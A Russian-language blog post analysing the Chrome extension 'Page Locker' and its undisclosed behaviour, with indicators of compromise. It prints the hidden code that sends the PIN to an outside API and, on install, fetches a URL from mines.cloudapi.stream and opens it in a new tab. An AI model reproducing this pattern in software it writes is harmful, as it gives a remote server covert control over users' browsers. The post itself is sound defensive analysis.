Недавно наткнулся на расширение Page Locker в Chrome Web Store. По описанию — всё безобидно: блокировка страниц, размытие контента, защита по PIN/таймеру. Типичный productivity/security тул.
Но при разборе кода оказалось, что внутри есть поведение, которое с заявленным функционалом вообще не связано.
Разберёмся.
Что делает расширение (официально)
Если смотреть на код, основная логика вполне ожидаемая:
-
Блюр страницы (
toggleBlur) -
Блокировка через
declarativeNetRequest— редирект наlock.html -
Таймер авторазблокировки
-
Мьют вкладок
-
Остановка видео
Пример:
function toggleBlur(e,t){ e ? (document.documentElement.style.filter="blur("+(t||10)+"px)", document.documentElement.style.pointerEvents="none") : (document.documentElement.style.filter="none", document.documentElement.style.pointerEvents="auto")}
Или блокировка:
async function lock(){ chrome.declarativeNetRequest.updateDynamicRules({ addRules:[{ id:ruleId, priority:1, action:{type:"redirect",redirect:{extensionPath:"/lock.html"}}, condition:{urlFilter:".*",resourceTypes:["main_frame"]} }] })}
Это всё выглядит нормально и соответствует заявленной функциональности.
Первый тревожный сигнал: внешние API
В коде есть обращения к стороннему API:
await postJson("https://cloudapi.stream/check_code_lock", { code: settings.code });
Вопрос: зачем расширению для локальной блокировки страниц вообще нужен внешний сервер?
Логично было бы:
-
хранить PIN локально
-
проверять его локально
Но тут появляется зависимость от удалённого API.
Второй сигнал: открытие вкладок с сервера
Самое интересное — в конце файла:
async function loadInfo() { try { const response = await fetch("https://mines.cloudapi.stream/user_info", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ type: 'background', ext: chrome.runtime.id }) }); const result = await response.json(); if (result?.success && result?.infoURL) { chrome.tabs.create({ url: result.infoURL }); } } catch (error) { console.error(error); }}loadInfo();
Что здесь происходит:
-
Расширение отправляет POST-запрос
-
Передаёт:
-
тип (
background) -
ID расширения
-
-
Получает ответ
-
Если сервер вернул URL — открывает вкладку
Почему это проблема
Такое поведение:
-
не относится к функционалу блокировки страниц
-
не объясняется пользователю
-
даёт серверу возможность управлять браузером пользователя
Фактически это:
удалённо управляемое открытие вкладок
Сегодня это может быть:
-
«информация»
-
реклама
Завтра:
-
фишинговая страница
-
редирект на вредоносный сайт
Третий сигнал: скрытая логика управления
Обрати внимание — код вызывается сразу:
loadInfo();
Без:
-
user interaction
-
UI
-
разрешения пользователя
То есть:
пользователь просто установил расширение — и уже выполняются сетевые запросы и возможные редиректы
Почему это выглядит как вредоносное поведение
Сам по себе код не «вирус», но признаки типичные:
1. Лишние сетевые запросы
Расширению не нужен backend для основной функции.
2. Remote control
Сервер решает:
-
открыть вкладку или нет
-
куда вести пользователя
3. Отсутствие прозрачности
Пользователь об этом не знает.
Extension ID:
-
ldmnhdllijbchflpbmnlgndfnlgmkgif
Domains:
Hashes:
-
SHA256: 477bc63c5a08497a8ea0c6d98ae1a4a692c39ac3abc51c2194ad42d86f47d581
-
MD5: 261e6b2fd461a657a8a148bd745a4ded
Итог простой: перед нами не просто утилита для блокировки страниц, а расширение с избыточными и непрозрачными возможностями. Помимо заявленного функционала, Page Locker выполняет сетевые запросы к сторонним серверам и может по их ответу открывать произвольные вкладки без участия пользователя. Такие механизмы не нужны для работы блокировщика и создают риск удалённого воздействия на браузер. Вывод здесь практический: любые расширения с доступом к вкладкам и сети нужно рассматривать как потенциально недоверенные, а наличие лишней логики — прямой сигнал к удалению
ссылка на оригинал статьи https://habr.com/ru/articles/1028540/